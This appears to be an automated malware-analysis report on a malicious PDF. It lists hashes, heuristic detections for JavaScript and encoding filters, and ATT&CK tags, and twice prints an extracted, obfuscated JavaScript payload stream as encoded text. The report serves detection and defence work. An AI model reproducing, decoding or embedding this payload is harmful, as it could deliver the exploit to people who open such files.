PDF malware analysis — malicious · 92bde59047bb4d5e

MALICIOUS

PDF

9.6 KB First seen: 2013-02-22

MD5: 5c9e91b2a5321cdb5a10a16356885862 SHA-1: a28a90862bdae301ad3714fa73f299b9587ac21a SHA-256: 92bde59047bb4d5ed7d205a79e19fe6b663eca68a3cbad910782ebfd988b0d86

74 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1059.007 JavaScript

The PDF file exhibits multiple heuristic firings related to JavaScript and decoding filters, indicating a high likelihood of malicious intent. The embedded JavaScript stream, though not directly readable due to obfuscation, is a common vector for delivering exploits or malware. The presence of ASCIIHexDecode and ASCII85Decode filters further supports the possibility of obfuscated malicious code. The file's SHA256 hash is included as a primary indicator.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 4

ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCII85Decode filter (with exploit indicators) low PDF_FILTER_85

ASCII85 encoding filter present alongside exploit delivery indicators — uncommon outside of obfuscation

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

javascript_obj0012_000.js pdf-javascript-stream PDF /JS object 12 at offset 0x3AD 8404 bytes

Filename	Kind	Source	Size
`javascript_obj0012_000.js`	pdf-javascript-stream	PDF /JS object 12 at offset 0x3AD	8404 bytes
SHA-256: `d303a57622d352c19f20c958ec4af134d7487d8fc981c878cd21ec5b83958539`
Preview script First 1,000 lines of the extracted script Gb"/l$$N)V&r!fX-,c1e?;>^!r@d,\PQ(gB2BS/U%!Lp+5(-)WDp2.DS:/Z97)!LWgE#DV 7F6\Y:n`)V)uH!Qf7E3+4'Dns&JgA[P.<GQZMarGILYBjKe_T0@/n#FaEeN?@GdNIIG;6QC@( ka^t(#&#WB,l+<JtGtRO+l(s=tV7Coi&Z'\UA8HCbVRjOajj`b%9=q^,FHAU.?pu,cj>3o4a/ dp=_%HX>]B9OiDC,$G6N=ZdB]Lr9W-9A[Z/s%db5gFdZ"5dVCc65e%=M@NMHd6?%.t$BA`='B la]Dtq%JH+#+LY:4RG@u'b0`9_0;%@odh<)3fXjF5EP]?i^qMc=LHd#TH$D<>DX&WCb-">.1a CQR/!=/Jeb7?YXJc1gk_+O>O2q(X)Nn?\GBWJ=a6<?SkjH2V[qCVQ>:g@ltEpF'b]c$l#MO@$ SnWVb8Hb&Z)qG&2O\"CnmlJ1'dY7bf+r6p7htR:`b3dOA\3X88ifeZ`<G,q>(YA\=P\NRS] D!n[6"Zh.P7+ng77f!7o?R:Gf1m"2AMDQLnA#&+j:[.k)Z=+.0l;U>S=7lK0gRb>a8@Z&r(e( pFXEP1U/:n=V=cR&8[N&4mU#W"<tV06CkACLfj%<lGu`pp>KCg)$0.2:it7OqDt`2?^ZZ9P= X^b]S>mKHp2u@IAgS/PlcL&?e<-kE<,Z!J=tPq8UI.Q1Os!r,/Up6Louo6obSVoiB[_qs&]m XYRnZl7Y:6XgDh_1`gKFV]R4#2eVKb:L%-qN=Eqt\FM2ZS_jF#<"5n$NmD6TgYRr$G++++>5< 9\U]IWp^S]I^_P.YK24muU)$(M2'/M-%-Us(^JW9fI%1eM[NHQ;sS)lTSMU>0baa[)Feid$A6 \jfr\]8IqFr2`uJ"O6"sr_He4Cm'^S];_?VDp'L1'oG[sX`0b/c>/>OaGr#b1qE521"`ks?3m VQ%W0q3bcC2tcI+JnN`TJF`sjfYY4MlZo'D/UY?\C?en<IC-uSmk4;)\P[@`&5cG^6JKCYO7 cof?XK:3#&e5DZDMcRL9De`FR\ff6Es"'`B(V<p&JJI^tQ5-%tk."fW.D-s;o$;QB^nl02;<= 2VWc%=/8%CUXCcAJ4Mf)dU=.]@)hR?\9o6\d7n_k80M1ou<q96ql<$^);&<sBC]%<Dl=2jqsU NIUaidqBThh%caC_F+b9q-Wu9A]Y+AMW$rhK>BNXNL($h2&%Ab<]C&%J"s,DH5?e#!+]t)C#K &cYb1l=8D2C-c5u:Pi\L8,EL_YDX^LF:QE@T@O?Lm5'po6/0ga%\7QBah(YtNgFS&&90Fl5DP 6COBP.'$G!/N:`,d]PjYq,pSpBEXgV\s@ZK3l@)ku8hMEb-Y/'1^//#=\c8%g=:[CP7]0&=L WgjNE:>O7c))i77T"gelk^"6Z_8_HJp1oPi/4%VM&uJkc^VQg/bAfmN:ABH]MaubdBX2OT?uY 62N[.SnIi-A$o=I2F`@6XV_W#;jO5]jkZ#E:5SbXI6>!A]l?`>JC<oG^)nV_4EOrSQ<4G:rId gLcgG_k5`pI;B&(sGClYerS?jqI)_Or`R'fbfW$2)ZDq6_<h8TgOOb_hTs4^9"7hElg:'lps( A^+:A&?tc/:l%fQX"]Gp2`HR"fIgke')="'9r#>"3H)KWUe/n.`9_t(>8K+=h6^;U^1+3IO-9 N\&USa&>/ZG&<7M96&XP"RC(>bZH%I/L]!P<\[`LL=]t`GD_]A&>%Ra\""7:hrWGd[p=aI mr.ugO=4@<(.]tc$8Y7K_aI2c40bhtLP?-YNbqR'>WOPLk6E"WZr!Wl,nJQ:,[=27'qoj22 ZQBg]hb9F@Xqk_Pg#LaKn(18<t"d5/\l:&R6_5jfNI`E8cX&eFS'%-2s_@aIaUm[!S+/#pgn "(OO#H03$2'Ud1^BuGnk7<l:&uh;bR%,!n\YAWRiM_o=9kd@.=D\&fu;t\:t\`o%T(h'C0cA 4:3YdqaR5FWG6'2$(h<!(7o15g'.mV.aGfacc83!0tgko)m]SJBAL7"&sGI<<?-cqCUmr!` ZTFT@kFmW9cEk,=#gAP+\Z/UX1!RZJ_>W<#.M%:t]ZGK\Qi0=m.e0Ab5kAJBGa@!@eHYFkC)P b3"'M!0tgkF+DCcf=CsI"e%"U<5o-@luG#tTX),`#Z048i=g>JTX)c<[B1/HW9eW%$W,O<DT$ TO,X>q?hZ/qdj`>sp0"8[S%P#Z6s.3oCb=WiA52fen3Q;&4^%ZleO%f64>5iE+^\QtEWVL>\= (:qj0L(Hqk]oQV"'m,?,G0^N'JDco`XenKPcc\6bLtVFANKB9[bF!h`]pEZCI:[i7"QI9:o R"U/n#V7=1aWM&[uF3E=MFFcYc-jFdq2D9K?aKcIcEJ6A%C8;f9dV=@dBVZ&r3tmFdrP^i4f ;"g7^mZ9;1L<[P(E[d^r6hHPs&L)J4p^38IZ@8=s0M:@B#C3_m6Ll=`&\J/nK&D]-inr\W,^ ]OGfA]0bR]dTq%nS)n7@pf)[9'HBDX'l\:S]B)9>DeFHnCnPs^1&s0ghsdd!:UN),,)gLj`m V@Q_o.E[/fRpr82<sQ<@A+j1%:XWJ6j>htr-[j0I2KB$oh#q!O"k(WiBZ(1#pIBeSR17QIB7P g=@k?B\Ji^cI4.i)3AVEGLsPgk"7`]"/s&/E>`!ipGFOW`L-:8_,cKPjh:g:-JZ256?,j@H1 5>c+VH:22L4>isQRA-00Y$;f`/R>egaK];SV0.4$KR/id6Gn_4m6NCJ;-q#g'.F#g!>\o(Br OhOPVB5iR?>Q24h2o$l+>\1B8^<N/"._f]IZ^dX^7Ufs.1G?V:b)8PNSSc$qr;V><[<lYiVe? %;^:lgD`f/r9YFQ;SfR%!a@k#jhR00947h9^m<<,K,gsoqi353jiI]/><\P&JLqDf#]0;]BO, #h:Ntmrf)D&X[t--G$(h<(Zfb9>jK1kVeBYhacc83^m<=/o)m]S@93n>NCMfk7;D)jhphco jZq/IuS3f^^-g'A?PrbELg3\0K!MS(7oJ>CIBW$g(!]Fb),O8=oug5$spF(jGb[H!nh5?-e@ ]^m6@:"'[tDDk%6R%rD',ia?0;0CQu9l5&%CMre`\m_G+nA&n@Kn.],8bNF4LM[Kl.H0ElB2p f)=[X>MI#IaPN4pSOoEe1fF98CIYoE5'$jg`ql8Ps/F86g.o#kn>QXe4bbYpXOMQPX-)uLS< kOe,bkq&&c_)#&j)d1O,#r/$T6sI;l"<g8.@'lt)KLf8Krk4O9KpY>;)0h,E5O_XQnGkuGV// q\#[L,4<^VZ!%_^<l-%->OfcFh<=PsJ3l1&=P6p<?hoFY%H!3#Ya"6d$90bu1>>#=[,GCq&k9 Mj7q+fWAk>\oK6OsN+0Bnsg#Gi3eXBeOOXUq^?78'<":mDQ$01k1,=::qQU<_\lO%:F1=N K/-3]GM]31`T"WUK2%OQ3R.D$EF0X_K)OF-C"T,?fWReCCB6-gS4pgR^NqgJ3@924Y5n/HRj BXc,hlh]W<p=c0:E8ne73IPK\!(0:`o>6/M\A7N_=i-HOgBb+qh_CGI+<iXXEa&%<#M1p&90 jf%0eY&)HmFXEDIf@GZfbY)f5AYkf0"m]_H4<hg@X3;5g^'7X#OgT&>#SYo,l\gV;H(uOMRPH H,XCQ3$nYKc0mB(sj!2e`uN$47[r_-n'HnH%X,?mK,N:0u>d?b[agmX7l9heApGMBKnJXR] N:?V.PRm'VYr&0]oXk7Wii(hB,3,0NflsoKc?CtF#al@bnKVmAt`fU?1k!GNd76DgZXt\U\Gr U9a)27c7MakZWTV[%ZhK;f#iS,'iK9r7NAq;jSIo[CMRORN)".bR6(MA/MHjl]9\Fd%V4; EN0^`?lF_fgI)_%rQU7N+pdjX=C@u\0d@^qY;2&l(mCiWI%P0LBGmEf0<.6r:uk?KfA5>bL- pC6T^_4g&PQ%^.f2?RN1eAQ<SQcg(Hbe.bc`e&uUGcI^+6-E`LXKKlKJ?<NR&eHk-X/:=fA1, 5n:equ+9"\'X\7.tp6fd9c`TsIq;%cG2;HPW"Q(s_/nqU)4NL14(TBJ%F$RV2DO]3oo-D%D&U UD;Mh85/M/XQr#C(#XcUUD;l]H2[[M(W'>EXn=dW%D]@7ar3,NhX\N3o#PFJt[<[[4Z2%:3Yd 9>!-EY,:9^(9L0&Gg4K.3@7%.Qc!`U]6;0L?0)?-%c(_Wh74X9kQCJJ3O=)Wm.YnB[0<mR0P Ut.@pA#K.HccGK$/p&1n/)BfQ,IW">u+kJfk41g3hBc,em2q7uV.?XVF6@_-L_,Qm8leGuf8[ bq(+1E$K;Fd<!1#u?a(<j4OW%A9S7;]l:.B`7(=UD0c=&E0U?T2_o.V]=mYG/HJYhbN77r? (?efD.%5t4^UOBTZ9XqQsu3BjbgM;!Qlgka[9ahoLk-u',Bn(5!K&@D\>,@/e7>jb'D-UXW:+ SG&f9giha6aVa)K$trbnbEc3$gN$Y%`-/E'D?4!YUi)dmLlC$0#,6#3m2M1=&/7K1#&^3\\)g Wp=9Nr\/>2k+e[VGZ&F7lqCqUT.SMF3.=RQ>S:cnYr&7H8WGh/)6An3n'_Zq2=M0,N9UKl@+ u1_[$a^o?V,Ds[0]Nc7JJ4!NF_#G]?JWq6CWPkW$pQeDFpC]9+/`m_c3dPI9Ab6+HWu;l>6`p qN'UkK(Z-3PU9XKQ[P:[YW1=Wo-=cBbFqP<,T2j+kZU6CQ&M.m;OD@?%2PsY"S%;kPqFp!^tR 7h+Cr'j;2)N'aC/5;aO#-<W9@:##JJE$c;Co?jOO71(8Y^_oIF`X/R^>U8("_-HTthLoGeMG %i.XC')0AVLU,^u0NpJem7B?FN5#`#MBKZVm:Pjdd;3^>MO$,(=-%!#<!^UbJNU>cr#`d<#' GRGmJ/INJ_9Qg74'b!'PP5T(]1J706T,L<c,sZ&#h6Wm<!0nk!"&sH4joCZPId-[`.6qI$3< :TkIQ0T(Zf</5lN!2%V9]/l]6Lsh.U.eV!@iFaXU@tYl&K!jfc:as/jNu,iH'Ol_SZlbBGmJK 'WioI=`Q\CTX6uIR"h\:g%7DJBCWf8q>&^^ZBiKJBAYf1OGntQ/0Gu"K:ZZ'"%:X'Uf,'(Ar 6(b!JT!.\#gfO;e3M$iL:.CqbB/:g&$%5\36S%N>gQfmMfTX6u%T(j?=r3j;5dNn2b1H]Z? 1(/`<&U'^!@jR$I%lW&<-EQ%[^C\eQ(<qW!@k_:NHe3Q"K3mE)kaLIHk'!+jYlng6"P?9h\3, :=ik10-bSb`u"fYpO9=?Of<e8bMV^X2o#8:21NmI8dmoik%>8+4c_"(TM#E:jO;J<i^Lr+pn 9O&de2^N3L[F=%dKaEBf^t,]-k806R+DdFp"V<&$$5GTHMOa'USPS("BpADL$Sq0(;@>`IP,A k+rS$=a%Y4Xq4)lNH>8$>#!?INKg,VBB&ApHHlMjkHl\_kV`r.$Ll#3;@m4I\G.5QZKJ8,OJt Q.WI[B$$RA\$/2^=N=;EeJWst0<V+e%%pV]r`[uoC)=6qMZ=,8t3]$"u@ZeUKOT;k\OJg1Q(! j9hBo,.=99@4=PIQJb,=0-"mgPrZ^!<,8b,SYL<3U(EdZcDe(8g@s-q9V1+N`W7lPrePK3 0Hf)&=>desq//ipKhdMK,$B$(U._"0mA6>n.-EFNnla8UCD(Ci=N>@m>RKa=DCs=g4-82s=4 b?WAR&J6]KI3<okG^$ah!4q&mi]W<]$(7[.qb9mNbHs.F8M)9CbIeaG9VBs=!D7_mPHgI4 :ji9(jWp-P';0CnO(&3@#iP"YKubKJ,%Z9T^g\fW/[_RG&uN&t1D76n-eAJVI<Rd9CltfF7?_ 8?QXqVTe][R_hfIkO'RO+nnf6/4Ja$`Rb9mf[f#d0JLteJHXgcX^O8I<.em"L@<2l8'gm. 1?1nf^d^8OG!4@hiS)N4P=+Mb@gE,YiUETJLu?SXUAt@l&K$+g)h"(2R):%iH&DM_o!"9CE;' u'WioI=`Q\Cf^d^CIR"h\CjBK+Mqg#Jr.-H7I/"bi?>MX+j[%,m>99SJ65p;KH1DmXGJok\do o%FbO7c=_&S<>0!OFFl#U7UkNfGZisn:3%r?O$lT)3]f^_FO@<3[NK[fGJM"W7"6ZZjW1m. h#^f0Z$^E>SBpjlkk3[Sq7>dq0Xi1EC#.-&,k5[#!06/QI".F^m8?QkJ3Bj/l:/;Bjf+;FsE TB+b;4@r<B]X/tW5MI^opeEbtQ>H&<tQZ#s8mK0P"ZS=Z93SV9riG_Sh5,7>DB+ia,=BT&45+ N2>BN-=lM&4pZQ^R(+Y&CUn9"0\uf#G,Zfe<IfPjO;=To1ADC?X%!Tm&PjU^pofgB1.d$QK1 .4hb`ga<q1_5(ZB0!;2q4!tm9`WDu:$gJc#DD5U_$&:u,^"?uMle[f6TOf'UQmJUHe\q9>1 6+f11`ei$O)?Di5$`q@9amc7-M8VEX2n]>sW:D%QB31-%OWpET84iZZhkFk+SmmF.NG[/lqmF j,tjP@,KKieTuE&CsL/G-fJ:g=7<"0a2G1D'k#m0Z_W;4A:"_H2;qX7<8KjH44\\cl.$-l@U .d7E/iYEQN-Bmf=S)6m=V[DAJ@9ggSptiRUkVVPPsU/fCXU7,]Yl$7k%j3QON&,N:2Vd\\j8Y Gl)1!5L4!\:3hA_08aAqC[[ijdT#l<g/kF_(Ig+O4QTZLs7dd6(-152`)1P'@$N4%L;a?\LL" :18f-A,@I3]$sIPC>c4)%=dTQeRaN,qd1lo-Bnk+jfSinu!7Q/&e;MGt9%(\9RZY!!?h(S"l3 #!NrUOhEY'/)Y"OSME=B!\dW\#%gBBmPP<NTPSjJZd+0d`BbdQ,(Ai17lEP0F'ge$+m#f7&- @![.]S:WcMbX#%7Sn%C,0_/??AjpaZ,Y_Kc1OIoCH;[b$Q_r45#@Zu@_H>Z+YUI9$\l/XA&CL )qK#ju;H'r\8h.]<s@#$OZif<&f76iYhh3+/Mn/5;Le^AH$>&![^K4HgX`N1rR297V0_`t(E> 0kQF6Np@>sTPb)b-Zpp@C@VEC#P:((U.C:g9JLWQ8`NWk1b[POm1^9f\j0O3n\\4'_I3q.f C.2_&i!U&"Pq1XRsgWEFk%sN_RB=aWI1?\Jq!gSJ'jW$]+\C85$B"q.0.j@DBVHb<6an&o>pt Bq.$I@s'(V,U87W_eCd0\:K%@WV@7J8BcoOi<$X8B47>WG'H^"p@.;p?#]t[,&,Gj;5=ZoDM &0ZK;%i->fY&mQ=]_1=Fp3n+[0XV-9F<eDn3?78+3O]Rn3>l]I[g?D"jV3@-Y,t'o#"c4<9, /l$Qd?AbJ"%eAs=8gNrg;@aCF9e\qeobcOZouI"',JLdY2BTVFf5"d%$:BV#Z(-Suu'@DUS6! [>Yg+Z-,u%1p<caehu/&8fgMdC$9Wl+7Sd0Pr=lV`05M`>n%"8r,WA6VN38/A+]%RlMd?#ZNV t>1F(+]=uG[uH$$J]M9.G^X;+5r8BeH>Hj@s'[,h[=aTjneS\IfK6"dsUoY9gf7e4sou5J R5WhYmBJh%0GHpZS%:q>Ti&S%Ue1r]YYWUA6dFs@nh7dZ8Ve\9i]itjMdg[$89O89ddZQ7LZ U3SlpDUeZ2eE.QCH9]d"EDWl_kiM_'J?POtK.)'QJp_q(p7pq\Y>>[_a)6gT9:r;P4]r6oQ9M jlc0MY_cNC.RXR"F-gBZ:3hZb,[2e2Y#(jM[XIg:]-1</0d%DP,_(4UlnmhWVrVokTkffCh= 9#ojgmWJg]DZ+8rMSbl[l0^;Xn><Cl[8_7:M9^M%fr<skjN&oe5QRWptE1Hf%89@nnepB!Bs [7Dlb1%I<J[GWh[GkMN`J%4!7gCEWXTe_LH#s7V4s01/Yo,dlkbc8UZK+Dc<$X0ke4bp@YKqR HQOs7Z^fe46k`;S6$Vo3rjq@3>5Hu!XrjIj_`J[Y0:?g@(:l@03^^AcaB/R8DU+&(qi:BdK= S%!eBm\l1+kPq><i&oo(rI"4,?P]H[oCj?[rDaUB%DMi>)sI3@1P,-n<(agnaBLRIIBRu=HdV G5:HOS#j&GiD="OJhDg?aYP6dFU?Cb9H5qdqqe[\-@A;$/1-tLk&rl^+RJ?[CG<;\4RA[A4r Oj0AFs;h]bAeM='Df`]Fs>C+,&)27c:N:0ogD@j!Ul#&YslfC&W7:f6;Y5S,J@iEZ@[Dn(3E 2T;Gs5`B1bUrX$MeDOm\DFVD7Lml5Rlf(D6k>]23!L6SIreJAJin!q#Eo2E;*jC,(C/+"qU4Q "Y`\r#J0X/fqiL@"XVTC_0,mQN0Sn_88I>g<9K%nODn

SHA-256: d303a57622d352c19f20c958ec4af134d7487d8fc981c878cd21ec5b83958539

Preview script

First 1,000 lines of the extracted script

Gb"/l$$N)V&r!fX-,c1e?;>^!r@d,\PQ(gB2BS/U%!Lp+5(-*)WDp2.DS:/Z97)!LWgE#DV
7F6\Y:n`)V)uH!Qf7E3+4'Dns&JgA[P.<GQZMarGILYBjKe_T0@/n#FaEeN?@GdNIIG;6QC@(
ka^t(#&#WB,l+<JtGtRO+l(s=tV7Coi&Z'\UA8HCbVRjOajj`b%9=q^,FHAU.?pu,cj>3o4a/
dp=_%HX>]B9OiDC,$G6N=ZdB]Lr9W-9A[Z/s%db5gFdZ"5dVCc65e%=M@NMHd6?%.t$BA`='B
la]Dtq%JH+#+LY:4RG@u'b0`9_0;%@odh<)3fXjF5EP]?i^qMc=LHd#TH$D<>DX&WCb-">.1a
CQR/!=/Jeb7?YXJc1gk_+O>O2q(X)Nn?\GBWJ=a6<?SkjH2V[qCVQ>:g@ltEpF'b]c$l#MO@$
SnWVb8Hb&Z)qG&2O\"CnmlJ1'dY7bf+r6p7htR:`b3dOA\3X88i*feZ*`<G,q>(YA\=P\NRS]
D!n[6"Zh.P7+ng77f!7o?R:Gf1m"2AMDQLnA#&+j:[.k)Z=+.0l;U>S=7lK0gRb>a8@Z&r(e(
pFXEP1U/:n=V=cR&8[N&4mU#W"<tV06CkACLfj%<lGu`pp>KCg)$0.2:it7OqDt`*2?^ZZ9P=
X^b]S>*mKHp2u@IAgS/PlcL&?e<-kE<,Z!J=tPq8UI.Q1Os!r,/Up6Louo6obSVoiB[_qs&]m
XYRnZl7Y:6XgDh_1`gKFV]R4#2eVKb:L%-qN=Eqt\FM2ZS_jF#<"5n$NmD6TgYRr$G++++>5<
9\U]IWp^S]I^_P.YK24muU)$(M2'/M-%-Us(^JW9fI%1eM[NHQ;sS)lTSMU>0baa[)Feid$A6
\jfr\]8IqFr2`uJ"O6"sr_He4Cm'^S];_?VDp'L1'oG[sX`0b/c>/>OaGr#b1qE521"`ks?3m
VQ%W0q3b*cC2tcI+JnN`TJF`sjfYY4MlZo'D/UY?\C?en<IC-uSmk4;)\P[@`&5cG^6JKCYO7
cof?XK:3#&e5DZDMcRL9De`FR\ff6Es"'`B(V<p&JJI^tQ5-%tk."fW.D-s;o$;QB^nl02;<=
2VWc%=/8%CUXCcAJ4Mf)dU=.]@)hR?\9o6\d7n_k80M1ou<q96ql<$^);&<sBC]%<Dl=2jqsU
NIUaidqBThh%caC_F+b9q-Wu9A]Y+AMW$rhK>BNXNL($h2&%Ab<]C&%J"s,DH5?e#!+]t)C#K
&cYb1l=8D2C-c5u:Pi\L8,EL_YDX^LF:QE@T@O?Lm5'po6/0ga%\7QBah(YtNgFS&&90Fl5DP
6COBP.'$G!/N:`,d]PjYq,pSpBEXgV\s@*ZK3l@)ku8hMEb-Y/'1^//#=\c8%g=:[CP7]0&=L
WgjNE:>O7c))i77T"gelk^"6Z_8_HJp1oPi/4%VM&uJkc^VQg/bAfmN:ABH]MaubdBX2OT?uY
62N[.SnIi-A$o=I2F`@6XV_W#;jO5]jkZ#E:5SbXI6>!A]l?`>JC<oG^)nV_4EOrSQ<4G:rId
gLcgG_k5`pI;B&(sGClYerS?jqI)_Or`R'fbfW$2)ZDq6_<h8TgOOb_hTs4^9"7hElg:'lps(
A^+:A&?tc/:l%fQX"]Gp2`HR"fIgke')="'9r#>"3H)KWUe/n.`9_t(>8K+=h6^;U^1+3IO-9
N\&USa&>*/ZG&<7M96&XP"RC(>bZH%I/L]!P<\[`LL=*]t`GD_]A&>%Ra\""7:hrW*Gd[p=aI
mr.ugO=4@<(.]tc$8Y7K_aI2c40bhtLP?-YNb*qR'>WOPLk6E"W*Zr!Wl,nJQ:,[=27'qoj22
ZQBg]hb9F@Xqk_Pg#LaKn(18<t"d5/\l:&R6_5jfNI`E8cX&eFS*'%-2s_@aIaUm[!S+/#pgn
"(OO#H03$*2'Ud1^BuGnk7<l:&uh;bR%,!n\YAWRiM_o=9kd@.=D\&fu;t\:t\`o%T(h'C0cA
4:3YdqaR5FWG6'2*$(h<!(*7o15g'.mV.aGfacc83!0tgko)m]SJBAL7"&sGI<<?-cqCUmr!`
ZTFT@kFmW9cEk,=#gAP+\Z/UX1!RZJ_>W<#.M%:t]ZGK\Qi0=m.e0Ab5kAJBGa@!@eHYFkC)P
b3"'M!0tgkF+DCcf=CsI"e%"U<5o-@luG#tTX),`#Z048i=g>JTX)c<[B1/HW9eW%$W,O<DT$
TO,X>q?hZ/qdj`>sp0"8[S%P#Z6s.3oCb=WiA52fen3Q;&4^%ZleO%f64>5iE+^\QtEWVL>\=
(:qj0L(Hqk]oQV"'m,?,G0^N'JDco`XenKPcc\6bL*tVFANKB9[bF!h`]pE*ZCI:[i7"QI9:o
R"U/n#V7=1aWM&[uF3E=MFFcYc-jFdq2D9K?aKcIcEJ6A%C8;f9dV=@dBVZ&r3tm*FdrP^i4f
;"g7^mZ9;1L<[P(E[d^r6hHPs&L)J4p^38IZ@8=s0M:@B#C3_m6Ll=`&\J/nK&D]-inr\W,*^
]OGfA]0bR]dTq%nS)n7@pf)[9'HBDX'l\:*S]B)9>DeFHnCnPs^1&s0ghsdd!:UN),,)gLj`m
V@Q_o.E[/fRpr82<sQ<@A+j1%:XWJ6j>htr-[j0I2KB$oh#q!O"k(WiBZ(1#pIBeSR17QIB7P
g=@k?B\Ji^cI4.i)3AVEGLsPgk"7`]"/s&/E>`!ipGFOW`L-:8_,cKPjh:g:-J*Z256?,j@H1
5>c+VH:22L4>isQRA-00Y$;f`/R>egaK];SV0.4$KR/id6Gn_4m6NCJ;-q#*g'.F#g!>\o(Br
OhOPVB5iR?>Q24h2o$l+>\1B8^<N/"._f]IZ^dX^7Ufs.1G?V:b)8PNSSc$qr;V><[<lYiVe?
%;^:lgD`f/r9YFQ;SfR%!a@k#jhR00947h9^m<<,K,gsoqi353jiI]/><\P&JLqDf#]0;]BO,
#h:Ntmrf)D&X[t--G$(h<(*Zfb9>jK1kVeBYhacc83^m<=/o)m]S@*93n>NCMfk7;D)jhphco
jZ*q/IuS3f^^-g'A?PrbELg3\0K!MS(7oJ>CIBW$g(!]Fb),O8=oug5$spF(jGb[H!nh5?-e@
]^m6@:"'[tDDk%6R%rD',ia?0;0CQu9l5&%CMre`\m_G+nA&n@Kn.],8bNF4LM[Kl.H0ElB2p
f)=[X>MI#IaPN4pSOoEe1fF9*8CIYoE5'$jg`ql8Ps/F86g.o#kn>QXe4bbYpXOMQPX-)uLS<
kOe,bkq&&c_)#&j)d1O,#r/$T6sI;l"<g8.@'lt)KLf8Krk4O9KpY>;)0h,E5O_XQnGkuGV//
q\#[L,4<^VZ!%_^<l-%->OfcFh<=PsJ3l1&=P6p<?hoFY%H!3#Ya"6d$90bu1>>#=[,GCq&k9
Mj7q+fWAk>\o*K*6OsN+0Bnsg#Gi3eXBeOOXUq^?78'<":mDQ$01k1,=::qQU<_\lO%*:F1=N
K/-3]GM]31`T"WUK2%OQ3R.D$EF0X_K)OF-C"T,?fWReCCB6-gS4pg*R^NqgJ3@924Y5n/HRj
BXc,hlh]W<p=c0:E8ne73IPK\!(0:`o>6/M\A7N_=i-HOgBb+qh_CGI*+<iXXEa&%<#M1p&90
jf%0eY&)HmFXEDIf@GZfbY)f5AYkf0"m]_H4<hg@X3;5g^'7X#OgT&>#SYo,l\gV;H(uOMRPH
H,XCQ3$nYKc0mB(sj!2e`uN$47[r_-n*'HnH%X,?mK,N:0u>d?b[agmX*7l9heApGMBKnJXR]
N:?V.PRm'VYr&0]oXk7Wii(hB,3,0NflsoKc?CtF#al@bnKVmAt`fU?1k!GNd76DgZXt\U\Gr
U9a)27c7MakZWTV[%ZhK;f#iS,'iK9r7NAq;jSIo[CM*RORN)".bR6(MA/*MHjl]9\F*d%V4;
EN0^`?lF_fgI)_%rQU*7N+pdjX=C@u\0d@^qY;2&l(mCiWI%P0LBGmEf0<.6r:uk?KfA5>bL-
pC6T^_4g&PQ%^.f2?RN1eAQ<SQcg(Hbe.bc`e&uUGcI^+6-E`LXKKlKJ?<NR&eHk-X/:=fA1,
5n:equ+9"\'X\7.tp6fd9c`TsIq;%cG2;HPW"Q(s_/nqU)4NL14(TBJ%F$RV2DO]3oo-D%D&U
UD;Mh85/M/XQr#C(#XcUUD;l]H2[[M(W'>EXn=dW%D]@7ar3,NhX\N3o#PFJt[<[[4Z2%:3Yd
9>!-EY,:9^(9L0&Gg4K.3@7%.Qc!`U]6;0L?0)?-%c(_Wh74X9kQCJJ3O=)Wm.Yn*B[0<mR0P
Ut.@pA#K.HccGK$/p&1n/)BfQ,IW">u+kJfk41g3hBc,em2q7uV.?XVF6@_-L_,Qm8leGuf8[
bq(+1E$K**;Fd<!1#u?a(<j4OW%A9S7;]l:.B`7(=UD0c=&E0U?T2_o.V]=mYG/HJYhbN77r?
(?efD.%5t4^UOBTZ9XqQsu3BjbgM;!Qlgka[9ahoLk-u',Bn(5!K&@D\>,@/e7>jb'D-UXW:+
SG&f9giha6aVa)K$trbnbEc3$gN$Y%`-/E'D?4!YUi)dmLlC$0#,6#3m2M1=&/7K1#&^3\\)g
Wp=9Nr\/>2k+e[VGZ&F7lqCqUT.SMF*3.=RQ>S:cnYr&7H8WGh/)6An3n'_Zq2=M0,N9UKl@+
u1_[$a^o?V,Ds[0]Nc7JJ4!NF_#G]?JWq6CWPkW$pQeDFpC]9+/`m_c3dPI9Ab6+HWu;l>6`p
qN'UkK(Z-3PU9XKQ[P:[YW1=Wo-=cBbFqP<,T2j+kZU6CQ&M.m;OD@?%2PsY"S%;kPqFp!^tR
7h+Cr'j;2)N'*aC/5;aO#-<W9@:##JJE$c;Co?jOO71(8Y^_oIF`X/R^>U8("_-HTthLoGeMG
%i*.XC')0AVLU,^u0NpJem7B?FN5#`#MBKZVm:Pjdd;3^>MO$,(=-%!#<!^UbJNU>cr#`d<#'
GRGmJ/INJ_9Qg74'b!'PP5T(]1J706T,L*<c,sZ&#h6Wm<!0nk!"&sH4joCZPId-[`.6qI$3<
:TkIQ0T(Zf</5lN!2%V9]/l]6Lsh.U.eV!@iFaXU@tYl&K!jfc:as/jNu,iH'Ol_SZlbBGmJK
'WioI=`Q\CTX*6uIR"h\:g%7DJBCWf8q>&^^ZBiKJBAYf1OGntQ/0Gu"K:ZZ'"%:X'Uf,'(Ar
6(b!JT!.\#gfO;e3M$iL:.CqbB/:g&$%5\36S%N>gQfmM*fTX*6u%T(j?=r3j;5dNn2b1H]Z?
1(/`<&U'^!@jR$I%lW&<-EQ%[^C\eQ(<qW!@k_:NHe3Q"K3mE)kaLIHk'!+jYlng6"P?9h\3,
:=ik10-bSb*`u"fYpO9=?Of<e8bMV^X2o#8:21NmI8dmoik%>8+4c_"(TM#E:jO;J<i^Lr+pn
9O&de2^N3L[F=%dKaEBf^t,]-k806R+DdFp"V<&$$5GTHMOa'USPS("BpADL$Sq0(;@>`IP,A
k+rS$=a%Y4Xq4)lNH>8$>#!?INKg,VBB&ApHHlMjkHl\_kV`r.$Ll#3;@m4I\G.5QZKJ8,OJt
Q.WI[B$$RA\$/2^=N=;EeJWst0<V+e%%pV]r`[uoC)=6qMZ=,8t3]$"u@ZeUKOT;k\OJg1Q(!
j9hBo,.=99@4=PIQJb,=0-"mgPrZ^!<,8b,SYL<*3U(EdZcDe(8*g@s-q9V1+N`W*7lPrePK3
0Hf)&=>desq//ipKhd*MK,$B$(U._"0mA6>n.-EFNnla8UCD(Ci=N>@m>RKa=DCs=g4-82s=4
